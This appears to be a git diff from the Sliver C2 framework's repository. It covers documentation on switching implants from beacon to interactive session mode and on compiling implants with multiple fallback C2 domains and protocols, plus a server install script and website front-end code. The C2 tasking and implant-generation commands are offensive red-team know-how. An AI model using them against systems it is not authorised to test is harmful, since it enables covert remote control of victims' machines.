962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
```
|
||||
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
|
||||
|
||||
#### Switching from Beacon Mode to Session Mode
|
||||
|
||||
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
|
||||
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
|
||||
@@ -219,33 +227,28 @@ You can use the `interactive` command to task a beacon to open an interactive se
|
||||
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
|
||||
```
|
||||
|
||||
**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
|
||||
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
|
||||
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process.
|
||||
|
||||
By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
|
||||
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
```
|
||||
|
||||
You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:
|
||||
|
||||
```
|
||||
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
|
||||
```
|
||||
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
|
||||
- [Armory](/docs?name=Armory)
|
||||
- [Stagers](/docs?name=Stagers)
|
||||
- [Community Guides](/docs?name=Community%20Guides)
|
||||
- [Port Forwarding](/docs?name=Port%20Forwarding)
|
||||
- [Reverse SOCKS](/docs?name=Reverse%20SOCKS)
|
||||
- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support)
|
||||
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
|
||||
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
|
||||
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
|
||||
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
|
||||
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
layout: default
|
||||
title: About
|
||||
permalink: /about/
|
||||
---
|
||||
|
||||
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
|
||||
|
||||
You can find the source code for Minima at GitHub:
|
||||
[jekyll][jekyll-organization] /
|
||||
[minima](https://github.com/jekyll/minima)
|
||||
|
||||
You can find the source code for Jekyll at GitHub:
|
||||
[jekyll][jekyll-organization] /
|
||||
[jekyll](https://github.com/jekyll/jekyll)
|
||||
|
||||
|
||||
[jekyll-organization]: https://github.com/jekyll
|
||||
@@ -0,0 +1,11 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
<ul>
|
||||
{% for post in site.posts %}
|
||||
<li>
|
||||
<a href="{{ post.url }}">{{ post.title }}</a>
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
@@ -1,46 +1,47 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID="4449039C"
|
||||
SLIVER_GPG_KEY_ID=4449039C
|
||||
|
||||
if [[ "$EUID" -ne 0 ]];then
|
||||
echo "Please run as root"
|
||||
exit
|
||||
if [ "$EUID" -ne 0 ]
|
||||
then echo "Please run as root"
|
||||
exit
|
||||
fi
|
||||
|
||||
# Determine OS type
|
||||
# Debian-based OS (Debian, Ubuntu, etc)
|
||||
if command -v apt-get &> /dev/null; then
|
||||
echo "Installing dependencies using apt..."
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
INSTALLER=(apt-get install -yqq)
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
INSTALLER=(yum -y)
|
||||
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
|
||||
echo "Installing dependencies using pacman..."
|
||||
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
INSTALLER=(pacman -S)
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
exit
|
||||
fi
|
||||
|
||||
# Verify if necessary tools are installed
|
||||
for cmd in curl awk gpg; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, installing..."
|
||||
${INSTALLER[@]} "$cmd"
|
||||
fi
|
||||
done
|
||||
# Curl
|
||||
if ! command -v curl &> /dev/null
|
||||
then
|
||||
echo "curl could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Awk
|
||||
if ! command -v awk &> /dev/null
|
||||
then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
echo "gpg could not be found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cd /root || exit
|
||||
cd /root
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
echo "Importing GPG key..."
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
@@ -95,53 +96,48 @@ DxkLsLOBBZZRXOrgxit+tAqinGJ6N9hOvkUlwTLfJM1tpCEFb/Z786g=
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
EOF
|
||||
|
||||
#
|
||||
# Download and Unpack Sliver Server
|
||||
echo "Fetching latest Sliver release URLs..."
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER="sliver-server_linux"
|
||||
SLIVER_CLIENT="sliver-client_linux"
|
||||
arch=$(uname -i)
|
||||
if [[ $arch == x86_64* ]]; then
|
||||
SLIVER_SERVER='sliver-server_linux-amd64'
|
||||
SLIVER_CLIENT='sliver-client_linux-amd64'
|
||||
elif [[ $arch == arm* ]]; then
|
||||
SLIVER_SERVER='sliver-server_linux-arm64'
|
||||
SLIVER_CLIENT='sliver-client_linux-arm64'
|
||||
fi
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L "$URL" --output "$(basename "$URL")"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
# Signature verification
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_SERVER.sig" "/root/$SLIVER_SERVER"
|
||||
gpg --default-key "$SLIVER_GPG_KEY_ID" --verify "/root/$SLIVER_CLIENT.sig" "/root/$SLIVER_CLIENT"
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
echo "Moving the Sliver server executable to /root/sliver-server..."
|
||||
mv "/root/$SLIVER_SERVER" /root/sliver-server
|
||||
|
||||
echo "Setting permissions for the Sliver server executable..."
|
||||
mv /root/$SLIVER_SERVER /root/sliver-server
|
||||
chmod 755 /root/sliver-server
|
||||
|
||||
echo "Unpacking the Sliver server..."
|
||||
/root/sliver-server unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
echo "Setting permissions for the Sliver client executable..."
|
||||
chmod 755 "/root/$SLIVER_CLIENT"
|
||||
|
||||
echo "Copying the Sliver client executable to /usr/local/bin/sliver-client..."
|
||||
cp -vv "/root/$SLIVER_CLIENT" /usr/local/bin/sliver-client
|
||||
|
||||
echo "Creating a symbolic link for sliver-client at /usr/local/bin/sliver..."
|
||||
ln -sf /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
|
||||
echo "Setting permissions for the symbolic link /usr/local/bin/sliver..."
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
|
||||
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
@@ -167,25 +163,23 @@ WantedBy=multi-user.target
|
||||
EOF
|
||||
chown root:root /etc/systemd/system/sliver.service
|
||||
chmod 600 /etc/systemd/system/sliver.service
|
||||
echo "Starting the Sliver service..."
|
||||
systemctl start sliver # Start the service now
|
||||
systemctl start sliver
|
||||
|
||||
# Enable on boot
|
||||
systemctl enable sliver
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating local configs ..."
|
||||
|
||||
# Generate local configs
|
||||
echo "Generating operator configs ..."
|
||||
echo "Generating local user operator configs ..."
|
||||
mkdir -p /root/.sliver-client/configs
|
||||
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
|
||||
chown -R root:root /root/.sliver-client/
|
||||
|
||||
USER_DIRS=(/home/*)
|
||||
for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
USER=$(basename "$USER_DIR")
|
||||
if id -u "$USER" >/dev/null 2>&1; then
|
||||
echo "Generating operator configs for user $USER..."
|
||||
mkdir -p "$USER_DIR/.sliver-client/configs"
|
||||
/root/sliver-server operator --name "$USER" --lhost localhost --save "$USER_DIR/.sliver-client/configs"
|
||||
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
|
||||
USER=$(basename $USER_DIR)
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
|
||||
fi
|
||||
done
|
||||
@@ -1,3 +0,0 @@
|
||||
{
|
||||
"extends": "next/core-web-vitals"
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
|
||||
|
||||
# generated files
|
||||
public/sitemap.json
|
||||
public/docs.json
|
||||
/www.zip
|
||||
|
||||
# code editor files
|
||||
.vscode/
|
||||
|
||||
# dependencies
|
||||
/node_modules
|
||||
/.pnp
|
||||
.pnp.js
|
||||
.yarn/install-state.gz
|
||||
|
||||
# testing
|
||||
/coverage
|
||||
|
||||
# next.js
|
||||
/.next/
|
||||
/out/
|
||||
|
||||
# production
|
||||
/build
|
||||
|
||||
# misc
|
||||
.DS_Store
|
||||
*.pem
|
||||
|
||||
# debug
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
|
||||
# local env files
|
||||
.env*.local
|
||||
|
||||
# vercel
|
||||
.vercel
|
||||
|
||||
# typescript
|
||||
*.tsbuildinfo
|
||||
next-env.d.ts
|
||||
@@ -1,33 +0,0 @@
|
||||
# Sliver Docs
|
||||
|
||||
The source code for the Sliver documentation site.
|
||||
|
||||
### Developers
|
||||
|
||||
To run the documentation site locally first install the dependencies and then run the `dev` npm script:
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npm run dev
|
||||
```
|
||||
|
||||
**NOTE:** The markdown is compiled into a static JSON object at build time. This means if you edit a `.md` file you will need to restart the dev server to see your changes.
|
||||
|
||||
### Offline Docs
|
||||
|
||||
To run your own copy of the documentation first install the dependencies and then run the `offline` npm script:
|
||||
|
||||
```bash
|
||||
npm install
|
||||
npm run offline
|
||||
```
|
||||
|
||||
This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere:
|
||||
|
||||
```bash
|
||||
unzip -o www.zip
|
||||
cd out/
|
||||
python -m http.server 8000
|
||||
```
|
||||
|
||||
Then open your browser to `http://localhost:8000/` to view the documentation.
|
||||
-21
@@ -1,21 +0,0 @@
|
||||
declare module "asciinema-player" {
|
||||
export function create(
|
||||
src: string,
|
||||
element: HTMLElement | null,
|
||||
// START asciinemaOptions
|
||||
opts: {
|
||||
cols?: string,
|
||||
rows?: string,
|
||||
autoPlay?: boolean,
|
||||
preload?: boolean,
|
||||
loop?: boolean | number,
|
||||
startAt?: number | string,
|
||||
speed?: number,
|
||||
idleTimeLimit?: number,
|
||||
theme?: string,
|
||||
poster?: string,
|
||||
fit?: string,
|
||||
fontSize?: string
|
||||
}
|
||||
)
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
.hide-control-bar :global(.ap-control-bar){
|
||||
display: none !important;
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
import "asciinema-player/dist/bundle/asciinema-player.css";
|
||||
import React from "react";
|
||||
|
||||
type AsciinemaPlayerProps = {
|
||||
src: string;
|
||||
|
||||
cols?: string;
|
||||
rows?: string;
|
||||
autoPlay?: boolean;
|
||||
preload?: boolean;
|
||||
loop?: boolean | number;
|
||||
startAt?: number | string;
|
||||
speed?: number;
|
||||
idleTimeLimit?: number;
|
||||
theme?: string;
|
||||
poster?: string;
|
||||
fit?: string;
|
||||
fontSize?: string;
|
||||
};
|
||||
|
||||
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
|
||||
const ref = React.useRef<HTMLDivElement>(null);
|
||||
const [player, setPlayer] =
|
||||
React.useState<typeof import("asciinema-player")>();
|
||||
React.useEffect(() => {
|
||||
import("asciinema-player").then((p) => {
|
||||
setPlayer(p);
|
||||
});
|
||||
}, []);
|
||||
React.useEffect(() => {
|
||||
const currentRef = ref.current;
|
||||
const instance = player?.create(src, currentRef, asciinemaOptions);
|
||||
return () => {
|
||||
instance?.dispose();
|
||||
};
|
||||
}, [src, player, asciinemaOptions]);
|
||||
|
||||
return <div ref={ref} />;
|
||||
}
|
||||
|
||||
export default AsciinemaPlayer;
|
||||
@@ -1,91 +0,0 @@
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faLinux, faPython } from "@fortawesome/free-brands-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import Editor, { loader } from "@monaco-editor/react";
|
||||
import { useTheme } from "next-themes";
|
||||
import React, { useRef } from "react";
|
||||
|
||||
export type CodeSchema = {
|
||||
name: string;
|
||||
script_type: string;
|
||||
source_code: string;
|
||||
};
|
||||
|
||||
export type CodeViewerProps = {
|
||||
script: CodeSchema;
|
||||
fontSize?: number;
|
||||
|
||||
className?: string;
|
||||
};
|
||||
|
||||
export function renderScriptTypeIcon(key: string, className?: string) {
|
||||
switch (key) {
|
||||
case "bash":
|
||||
return (
|
||||
<FontAwesomeIcon icon={faLinux} className={className || undefined} />
|
||||
);
|
||||
|
||||
case "python":
|
||||
return (
|
||||
<FontAwesomeIcon icon={faPython} className={className || undefined} />
|
||||
);
|
||||
default:
|
||||
return <></>;
|
||||
}
|
||||
}
|
||||
|
||||
const CodeViewer = (props: CodeViewerProps) => {
|
||||
const { theme } = useTheme();
|
||||
|
||||
// Editor
|
||||
loader.config({ paths: { vs: "/js/monaco" } });
|
||||
|
||||
const editorRef = useRef(null as any);
|
||||
function handleEditorDidMount(editor: any, monaco: any) {
|
||||
editorRef.current = editor;
|
||||
}
|
||||
const vsTheme = React.useMemo(() => {
|
||||
return theme === Themes.DARK ? "vs-dark" : undefined;
|
||||
}, [theme]);
|
||||
const language = React.useMemo(() => {
|
||||
switch (props.script?.script_type) {
|
||||
case "bash":
|
||||
return "shell";
|
||||
default:
|
||||
return props.script?.script_type || "shell";
|
||||
}
|
||||
}, [props]);
|
||||
|
||||
const [scriptSourceCode, setScriptSourceCode] = React.useState(
|
||||
props.script.source_code
|
||||
);
|
||||
const [fontSize, setFontSize] = React.useState(props.fontSize || 14);
|
||||
const editorContainerClassName = React.useMemo(() => {
|
||||
return theme === Themes.DARK
|
||||
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
|
||||
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
|
||||
}, [theme]);
|
||||
|
||||
return (
|
||||
<div className={editorContainerClassName}>
|
||||
<Editor
|
||||
className={props.className || "min-h-[200px]"}
|
||||
theme={vsTheme}
|
||||
defaultLanguage={language}
|
||||
defaultValue={scriptSourceCode}
|
||||
onChange={(value, event) => {
|
||||
setScriptSourceCode(value || "");
|
||||
}}
|
||||
onMount={handleEditorDidMount}
|
||||
options={{
|
||||
readOnly: true,
|
||||
fontFamily: "Fira Code",
|
||||
fontLigatures: true,
|
||||
fontSize: fontSize,
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default CodeViewer;
|
||||
@@ -1,26 +0,0 @@
|
||||
export type SliversIconProps = {
|
||||
className?: string;
|
||||
fill?: string;
|
||||
|
||||
height?: number;
|
||||
width?: number;
|
||||
};
|
||||
|
||||
export const SliversIcon = (props: SliversIconProps) => {
|
||||
return (
|
||||
<svg
|
||||
aria-hidden="true"
|
||||
focusable="false"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 912 1024"
|
||||
className={props.className}
|
||||
height={props.height || 24}
|
||||
width={props.width}
|
||||
>
|
||||
<path
|
||||
fill={props.fill ? props.fill : "currentColor"}
|
||||
d="M3.767 709.26s-38.415-249.17 142.452-440.946C326.97 76.538 584.482 63.816 759.689 133.127c0 0-32.847 29.271-32.847 65.806 0 36.444 21.936 58.378 45.658 82.101 23.723 23.815 135.095 158.909 135.095 312.294 0 153.453-125.972 336.015-324.992 336.015-199.042 0-312.293-144.239-328.682-310.414 0 0 96.771 164.294 255.611 164.294s213.62-125.971 213.62-219.167c0-93.034-51.113-272.02-275.666-272.02-224.645 0-379.795 199.042-443.72 417.224z"
|
||||
></path>
|
||||
</svg>
|
||||
);
|
||||
};
|
||||
@@ -1,188 +0,0 @@
|
||||
import CodeViewer, { CodeSchema } from "@/components/code";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { useTheme } from "next-themes";
|
||||
import Image from "next/image";
|
||||
import Link from "next/link";
|
||||
import { useRouter } from "next/router";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
|
||||
export type MarkdownProps = {
|
||||
key?: string;
|
||||
markdown: string;
|
||||
};
|
||||
|
||||
type MarkdownAsciiCast = {
|
||||
src?: string;
|
||||
rows?: string;
|
||||
cols?: string;
|
||||
idleTimeLimit?: number;
|
||||
};
|
||||
|
||||
const MarkdownViewer = (props: MarkdownProps) => {
|
||||
const { theme } = useTheme();
|
||||
const router = useRouter();
|
||||
|
||||
return (
|
||||
<div
|
||||
className={
|
||||
theme === Themes.DARK ? "prose dark:prose-invert" : "prose prose-slate"
|
||||
}
|
||||
>
|
||||
<Markdown
|
||||
key={props.key || `${Math.random()}`}
|
||||
remarkPlugins={[remarkGfm]}
|
||||
components={{
|
||||
a(props) {
|
||||
const { href, children, ...rest } = props;
|
||||
if (href?.startsWith("/")) {
|
||||
return (
|
||||
// @ts-ignore
|
||||
<a
|
||||
{...rest}
|
||||
href={href}
|
||||
className="text-primary hover:text-primary-dark"
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
router.push(href);
|
||||
}}
|
||||
>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
const url = new URL(href || "");
|
||||
if (url.protocol !== "http:" && url.protocol !== "https:") {
|
||||
return <></>;
|
||||
}
|
||||
if (url.host === "sliver.sh") {
|
||||
return (
|
||||
// @ts-ignore
|
||||
<Link
|
||||
{...rest}
|
||||
href={url.toString()}
|
||||
className="text-primary hover:text-primary-dark"
|
||||
>
|
||||
{children}
|
||||
</Link>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<a
|
||||
{...rest}
|
||||
href={url.toString()}
|
||||
rel="noopener noreferrer"
|
||||
target="_blank"
|
||||
className="text-primary hover:text-primary-dark"
|
||||
>
|
||||
{children}
|
||||
</a>
|
||||
);
|
||||
},
|
||||
|
||||
pre(props) {
|
||||
// We need to look at the child nodes to avoid wrapping
|
||||
// a monaco code block in a <pre> tag
|
||||
const { children, className, node, ...rest } = props;
|
||||
const childClass = (children as any)?.props?.className;
|
||||
if (
|
||||
childClass &&
|
||||
childClass.startsWith("language-") &&
|
||||
childClass !== "language-plaintext"
|
||||
) {
|
||||
// @ts-ignore
|
||||
return <div {...rest}>{children}</div>;
|
||||
}
|
||||
|
||||
return (
|
||||
<pre {...rest} className={className}>
|
||||
{children}
|
||||
</pre>
|
||||
);
|
||||
},
|
||||
|
||||
img(props) {
|
||||
const { src, alt, ...rest } = props;
|
||||
return (
|
||||
// @ts-ignore
|
||||
<Image
|
||||
{...rest}
|
||||
src={src || ""}
|
||||
alt={alt || ""}
|
||||
width={500}
|
||||
height={500}
|
||||
className="w-full rounded-medium"
|
||||
/>
|
||||
);
|
||||
},
|
||||
|
||||
code(props) {
|
||||
const { children, className, node, ...rest } = props;
|
||||
const langTag = /language-(\w+)/.exec(className || "");
|
||||
const lang = langTag ? langTag[1] : "plaintext";
|
||||
if (lang === "plaintext") {
|
||||
return (
|
||||
<span className="prose-sm">
|
||||
<code {...rest} className={className}>
|
||||
{children}
|
||||
</code>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
if (lang === "asciinema") {
|
||||
const asciiCast: MarkdownAsciiCast = JSON.parse(
|
||||
children as string
|
||||
);
|
||||
const src = asciiCast.src?.startsWith("/")
|
||||
? `${window.location.origin}${asciiCast.src}`
|
||||
: asciiCast.src || "";
|
||||
const srcUrl = new URL(src);
|
||||
if (srcUrl.protocol !== "http:" && srcUrl.protocol !== "https:") {
|
||||
return <></>;
|
||||
}
|
||||
return (
|
||||
<AsciinemaPlayer
|
||||
src={srcUrl.toString()}
|
||||
rows={asciiCast.rows || "18"}
|
||||
cols={asciiCast.cols || "75"}
|
||||
idleTimeLimit={asciiCast.idleTimeLimit || 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
const sourceCode = (children as string) || "";
|
||||
const lines = sourceCode.split("\n").length;
|
||||
return (
|
||||
<CodeViewer
|
||||
className={
|
||||
lines < 7
|
||||
? "min-h-[100px]"
|
||||
: lines < 17
|
||||
? "min-h-[250px]"
|
||||
: "min-h-[450px]"
|
||||
}
|
||||
key={`${Math.random()}`}
|
||||
fontSize={11}
|
||||
script={
|
||||
{
|
||||
script_type: lang,
|
||||
source_code: sourceCode,
|
||||
} as CodeSchema
|
||||
}
|
||||
/>
|
||||
);
|
||||
},
|
||||
}}
|
||||
>
|
||||
{props.markdown}
|
||||
</Markdown>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default MarkdownViewer;
|
||||
@@ -1,142 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { SliversIcon } from "@/components/icons/slivers";
|
||||
import { useSearchContext } from "@/util/search-context";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faGithub } from "@fortawesome/free-brands-svg-icons";
|
||||
import {
|
||||
faHome,
|
||||
faMoon,
|
||||
faSearch,
|
||||
faSun,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Button,
|
||||
Input,
|
||||
Link,
|
||||
Navbar,
|
||||
NavbarBrand,
|
||||
NavbarContent,
|
||||
NavbarItem,
|
||||
Tooltip,
|
||||
} from "@nextui-org/react";
|
||||
import { useTheme } from "next-themes";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
export type TopNavbarProps = {};
|
||||
|
||||
export default function TopNavbar(props: TopNavbarProps) {
|
||||
const router = useRouter();
|
||||
const search = useSearchContext();
|
||||
const { theme, setTheme } = useTheme();
|
||||
const lightDarkModeIcon = React.useMemo(
|
||||
() => (theme === Themes.DARK ? faSun : faMoon),
|
||||
[theme]
|
||||
);
|
||||
|
||||
const [query, setQuery] = React.useState("");
|
||||
|
||||
return (
|
||||
<Navbar
|
||||
isBordered
|
||||
maxWidth="full"
|
||||
classNames={{
|
||||
item: [
|
||||
"flex",
|
||||
"relative",
|
||||
"h-full",
|
||||
"items-center",
|
||||
"data-[active=true]:after:content-['']",
|
||||
"data-[active=true]:after:absolute",
|
||||
"data-[active=true]:after:bottom-0",
|
||||
"data-[active=true]:after:left-0",
|
||||
"data-[active=true]:after:right-0",
|
||||
"data-[active=true]:after:h-[2px]",
|
||||
"data-[active=true]:after:rounded-[2px]",
|
||||
"data-[active=true]:after:bg-primary",
|
||||
],
|
||||
}}
|
||||
>
|
||||
<NavbarBrand>
|
||||
<SliversIcon />
|
||||
<span className="hidden sm:block font-bold text-inherit">
|
||||
Sliver C2
|
||||
</span>
|
||||
</NavbarBrand>
|
||||
|
||||
<NavbarContent>
|
||||
<NavbarItem isActive={router.pathname === "/"}>
|
||||
<Button
|
||||
variant="light"
|
||||
color={router.pathname === "/" ? "primary" : "default"}
|
||||
as={Link}
|
||||
onPress={() => router.push("/")}
|
||||
>
|
||||
<FontAwesomeIcon fixedWidth icon={faHome} />
|
||||
</Button>
|
||||
</NavbarItem>
|
||||
|
||||
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
|
||||
<Button
|
||||
variant="light"
|
||||
color={router.pathname === "/tutorials" ? "primary" : "default"}
|
||||
as={Link}
|
||||
onPress={() => router.push("/tutorials")}
|
||||
>
|
||||
Tutorials
|
||||
</Button>
|
||||
</NavbarItem>
|
||||
|
||||
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
|
||||
<Button
|
||||
variant="light"
|
||||
color={router.pathname === "/docs" ? "primary" : "default"}
|
||||
as={Link}
|
||||
onPress={() => router.push("/docs")}
|
||||
>
|
||||
Docs
|
||||
</Button>
|
||||
</NavbarItem>
|
||||
</NavbarContent>
|
||||
|
||||
<NavbarContent as="div" justify="end">
|
||||
<Tooltip content="Press enter to search" isOpen={query.length > 0}>
|
||||
<Input
|
||||
size="sm"
|
||||
placeholder="Search..."
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
onClear={() => setQuery("")}
|
||||
startContent={<FontAwesomeIcon icon={faSearch} />}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter") {
|
||||
router.push({ pathname: `/search/`, query: { search: query } });
|
||||
setQuery("");
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</Tooltip>
|
||||
|
||||
<Button
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={lightDarkModeIcon} />
|
||||
</Button>
|
||||
|
||||
<Button
|
||||
variant="ghost"
|
||||
